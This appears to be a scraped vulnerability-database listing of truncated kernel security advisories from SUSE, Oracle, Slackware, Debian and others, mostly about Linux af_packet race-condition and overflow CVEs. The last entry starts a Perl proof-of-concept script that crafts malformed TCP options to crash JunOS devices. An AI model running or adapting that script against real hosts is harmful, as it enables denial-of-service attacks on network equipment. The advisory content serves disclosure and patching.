Security update for the Linux Kernel (important)

The openSUSE Leap 42.2 kernel was updated to receive various security and bugfixes. The following security bugs were fixed: - CVE-2017-1000111: Fixed a race condition in net-packet code that could be exploited to cause out-of-bounds memory access bsc1052365. - CVE-2017-1000112: Fixed a race...

SUSE SLES12 Security Update : kernel (SUSE-SU-2017:2150-1)

The SUSE Linux Enterprise 12 SP1 kernel was updated to 3.12.74 to the following security updates : - CVE-2017-1000111: fix race condition in net-packet code that could be exploited to cause out-of-bounds memory access bsc1052365. - CVE-2017-1000112: fix race condition in net-packet code that coul...

SUSE SLES12 Security Update : kernel (SUSE-SU-2017:2142-1)

The SUSE Linux Enterprise 12 kernel was updated to 3.12.61 to the following security updates : - CVE-2017-1000111: fix race condition in net-packet code that could be exploited to cause out-of-bounds memory access bsc1052365. - CVE-2017-1000112: fix race condition in net-packet code that could ha...

Oracle Linux 6 / 7 : Unbreakable Enterprise kernel (ELSA-2017-3595)

The remote Oracle Linux 6 / 7 host has packages installed that are affected by multiple vulnerabilities as referenced in the ELSA-2017-3595 advisory. - ALSA: timer: Fix missing queue indices reset at SNDRVTIMERIOCTLSELECT Takashi Iwai Orabug: 26403952 CVE-2017-1000380 - ALSA: timer: Fix race...

Oracle Linux 6 / 7 : Unbreakable Enterprise kernel (ELSA-2017-3590)

The remote Oracle Linux 6 / 7 host has packages installed that are affected by a vulnerability as referenced in the ELSA-2017-3590 advisory. - nfsd: check for oversized NFSv2/v3 arguments J. Bruce Fields Orabug: 26366022 CVE-2017-7645 - HID: hid-cypress: validate length of report Greg Kroah-Hartm...

Oracle Linux 6 / 7 : Unbreakable Enterprise kernel (ELSA-2017-3579)

The remote Oracle Linux 6 / 7 host has packages installed that are affected by a vulnerability as referenced in the ELSA-2017-3579 advisory. - net/packet: fix overflow in check for tpreserve Andrey Konovalov Orabug: 26143545 CVE-2017-7308 - net/packet: fix overflow in check for tpframenr Andrey...

OracleVM 3.4 : Unbreakable / etc (OVMSA-2017-0111)

The remote OracleVM system is missing necessary patches to address critical security updates : - net/packet: fix overflow in check for tpreserve Andrey Konovalov Orabug: 26143545 CVE-2017-7308 - net/packet: fix overflow in check for tpframenr Andrey Konovalov Orabug: 26143545 CVE-2017-7308 -...

OracleVM 3.3 : Unbreakable / etc (OVMSA-2017-0112)

The remote OracleVM system is missing necessary patches to address critical security updates : - net/packet: fix overflow in check for tpreserve Andrey Konovalov Orabug: 26143552 CVE-2017-7308 - net/packet: fix overflow in check for tpframenr Andrey Konovalov Orabug: 26143552 CVE-2017-7308 -...

Oracle Linux 6 / 7 : Unbreakable Enterprise kernel (ELSA-2017-3580)

The remote Oracle Linux 6 / 7 host has packages installed that are affected by a vulnerability as referenced in the ELSA-2017-3580 advisory. - net/packet: fix overflow in check for tpreserve Andrey Konovalov Orabug: 26143552 CVE-2017-7308 - net/packet: fix overflow in check for tpframenr Andrey...

Unbreakable Enterprise kernel security update

kernel-uek 4.1.12-94.3.6 - net/packet: fix overflow in check for tpreserve Andrey Konovalov Orabug: 26143545 CVE-2017-7308 - net/packet: fix overflow in check for tpframenr Andrey Konovalov Orabug: 26143545 CVE-2017-7308 - net/packet: fix overflow in check for priv area size Andrey Konovalov...

UCloud-201612-002: Linux kernel through kill to mention the right vulnerability Security Alert-vulnerability warning-the black bar safety net

Dear UCloud users: The Linux kernel is proof of the presence of conditions of competition of high-risk vulnerabilities, exploit the vulnerability from low rights processes executing kernel code, harm the serious. Please check you are using the kernel is in the affected range, and timely upgrades...

[slackware-security] kernel

New kernel packages are available for Slackware 14.2 and -current to fix a security issue. Here are the details from the Slackware 14.2 ChangeLog: patches/packages/linux-4.4.38/: Upgraded. This kernel fixes a security issue with a race condition in net/packet/afpacket.c that can be exploited to...

DEBIAN-CVE-2016-6834

The nettxpktdoswfragmentation function in hw/net/nettxpkt.c in QEMU aka Quick Emulator allows local guest OS administrators to cause a denial of service infinite loop and QEMU process crash via a zero length for the current fragment length...

Race condition

Race condition in net/packet/afpacket.c in the Linux kernel through 4.8.12 allows local users to gain privileges or cause a denial of service use-after-free by leveraging the CAPNETRAW capability to change a socket version, related to the packetsetring and packetsetsockopt functions...

Information disclosure

The packetrecvmsg function in net/packet/afpacket.c in the Linux kernel before 3.12.4 updates a certain length value before ensuring that an associated data structure has been initialized, which allows local users to obtain sensitive information from kernel memory via a 1 recvfrom, 2 recvmmsg, or...

Stack overflow

Stack-based buffer overflow in the receivetcppacket function in netpacket.c in tinc before 1.0.21 and 1.1 before 1.1pre7 allows remote authenticated peers to cause a denial of service crash or possibly execute arbitrary code via a large TCP packet...

UBUNTU-CVE-2013-1428

Stack-based buffer overflow in the receivetcppacket function in netpacket.c in tinc before 1.0.21 and 1.1 before 1.1pre7 allows remote authenticated peers to cause a denial of service crash or possibly execute arbitrary code via a large TCP packet...

CVE-2011-2898

net/packet/afpacket.c in the Linux kernel before 2.6.39.3 does not properly restrict user-space access to certain packet data structures associated with VLAN Tag Control Information, which allows local users to obtain potentially sensitive information via a crafted application...

Design/Logic Flaw

net/packet/afpacket.c in the Linux kernel before 2.6.37-rc2 does not properly initialize certain structure members, which allows local users to obtain potentially sensitive information from kernel stack memory by leveraging the CAPNETRAW capability to read copies of the applicable structures...

JunOS Malformed TCP Options Denial Of Service

!/usr/bin/perl my $host = shift; my $port = shift; use Net::Packet qw$Env; use Net::Packet::IPv4; my $ip = Net::Packet::IPv4-newdst = $host; use Net::Packet::TCP; my $tcp = Net::Packet::TCP-new dst = $port, options = "\x65\x02\x01\x01", ; use Net::Packet::Frame; my $frame = Net::Packet::Frame-new...